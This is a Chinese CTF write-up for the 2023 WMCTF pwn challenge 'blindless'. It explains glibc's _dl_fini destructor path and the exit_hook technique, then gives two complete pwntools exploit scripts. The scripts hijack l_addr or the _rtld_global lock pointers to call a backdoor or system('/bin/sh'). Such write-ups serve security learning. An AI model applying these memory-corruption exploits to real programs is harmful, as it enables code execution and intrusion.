2023 WMCTF

blindless

grxer@Ubuntu22 ~/s/m/w/blindless> checksec main
[*] '/mnt/hgfs/share/match/wmctf/blindless/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

给了后门函数,executeBrainfuck函数可以根据输入的code,实现以malloc的data为基准的任意高地址写数据,data大小没有限制,可以mmap到libc固定偏移处

_dl_fini

static int __libc_start_main(
int (*main)(int, char **, char **MAIN_AUXVEC_DECL), //参数: main函数指针
int argc, char **argv, //参数: argc argv
ElfW(auxv_t) * auxvec,
__typeof(main) init, //参数: init ELF的构造函数
void (*fini)(void), //参数: fini ELF的析构函数
void (*rtld_fini)(void), //参数: rtld_fini ld的析构函数
void *stack_end //参数: 栈顶
)

image-20230831174521411

多个构造函数时存放在.init_array中,init(一般就是__libc_csu_init)就负责遍历.init_array来执行多个构造函数

多个析构函数放在.fini_array中但是fini(一般是__libc_csu_fini)是个空函数

image-20230831174746076

析构就由ld的析构函数 rtdl_fini负责,rdl_fini实际指向_dl_fini()函数,被编译到ld.so.2中

ld.so.2会通过dl_open()把所需文件映射到进程空间中, 他会把所有映射的文件都记录在结构体**_rtld_global**中,进程终止, ld.so.2需要卸载所映射的模块, 这需要调用每一个非共享模块的fini_arrary段中的析构函数

Linux Namespaces机制:namespace就是一个进程的集合, 这个进程集合中可以看到相同的全局资源

struct rtld_global
{
#define DL_NNS 16
struct link_namespaces//描述命名空间
{
//每个模块用_ns_loaded描述, 这个命名空间中所映射的模块组成一个双向链表, _ns_loaded就是这个链表的指针
struct link_map *_ns_loaded;
/* _ns_loaded中有多少模块 */
unsigned int _ns_nloaded;

link_map *_ns_loaded 用来描述进程映射的一个模块

struct link_map {
Elf64_Addr l_addr;/* 模块在内存中的的基地址 */

char *l_name;/* 模块的文件名 */

Elf64_Dyn *l_ld;/* 指向ELF中的Dynamic节 */

struct link_map *l_next;/* 双向链表指针 */

struct link_map *l_prev;/* 双向链表指针 */

struct link_map *l_real;

Lmid_t l_ns; /* 这个模块所属NameSapce的idx */

struct libname_list *l_libname;

Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个节的信息
const ElfW(Phdr) * l_phdr; /* ELF的头表 */
ElfW(Addr) l_entry; /* ELF入口点 */
ElfW(Half) l_phnum; /* 头表中有多少节 */
ElfW(Half) l_ldnum; /* dynamic节中有多少描述符 *
.......
}
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type *64位程序占8bit 用于区分各种指定信息类型的标记,该结构中的共用体根据该标志进行解释/
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un; 64位程序占8bit 或者保存一个虚拟地址,或者保存一个整数,可以根据特定的标志进行解释。
} Elf64_Dyn;
/* Legal values for d_tag (dynamic entry type). */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */

image-20230831195723378

_dl_fini遍历rtld_global中所有的命名空间,遍历命名空间中所有的模块,找到这个模块的fini_array段, 并调用其中的所有函数指针

/* Is there a destructor function?  */
if (l->l_info[DT_FINI_ARRAY] != NULL//有析构函数
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)//fini_array多个析构函数
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)//fini析构函数
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

.fini_array地址l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr,同时控制l->l_info[DT_FINI_ARRAYSZ]大于0即可,执行.fini_arry里函数指针所指向的函数

或者直接控制l->l_info[DT_FINI]->d_un.d_ptr,直接执行地址处函数

l->l_info[DT_FINI]->d_un.d_ptr原本是指向

image-20230901011053856

我们只需要修改l->l_addr使l->l_info[DT_FINI]->d_un.d_ptr+l->l_addr指向backdoor,同时l->l_info[DT_FINI_ARRAY]修改为0,即可

另一种方法:调用析构函数时由于rdi是固定的地址(libc2.31为 _rtld_global+2312),所以可以控制rdi为/bin/sh,fini为system地址或者把.fini_arry指向system got表

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./main'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def write(content):
res = b''
for i in range(len(content)):
res += b'.' + p8(content[i]) + b'>'
return res
while True:
try:
io = process(pwnfile)
# dbpie('0x130E')
# dbpie('0x001301')
sla(b'ta size',b'1000000')
sla(b'size',b'100')
code=b'@'+p32(0x7fe5e466f190- 0x7fe5e4357010)+write(p32(0x3CB1)[0:2])
code+=b'@'+p32(0x7f30010c62a0-0x7f30010c6190-2)+write(p64(0))+b'q'
sla(b'code',code)
data=io.recvrepeat(1)
print(data)
if b'flag' in data:
print(data)
pause()
else:
io.close()
except:
io.close()

image-20230901010937493

exit_hook

劫持rtld_global中的函数指针(一般时上锁解锁的函数),调用关系 exit()–>__run_exit_handlers–>_dl_fini–>rtld_lock_default_lock_recursive–>rtld_lock_default_unlock_recursive

其中rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive来自于_rtld_global结构体

image-20230830134733689

其中rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive调用时参数

__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock))

GL(dl_load_lock)也是从_rtld_global里取出来的值,即_rtld_global._dl_load_lock.mutex的地址

libc和ld偏移通常第2字节处不一样,256种可能

一种方法就是改rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive其中一个为ogg

或者改rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive其中一个为system,改_rtld_global._dl_load_lock.mutex处为“/bin/sh\x00”

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./main'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def write(content):
res = b''
for i in range(len(content)):
res += b'.' + p8(content[i]) + b'>'
return res
# dbpie('0x1301 ')
# dbpie('0x01313')
while True:
try:
io = process(pwnfile)
sla(b'ta size',b'1000000')
sla(b'size',b'100')
code=b'@'+p32(0x7fc4cf08c968-0x7fc4ced75010)+write(b'/bin/sh\x00')
code+=b'@'+p32(0x7fc4cf08cf60-0x7fc4cf08c968)+write(p32(0xb6e290)[0:3])+b'q'
sla(b'code',code)
sleep(0.5)
sl(b'cat /flag')
io.interactive()
except:
io.close()

参考链接

关于exit的利用:https://www.anquanke.com/post/id/243196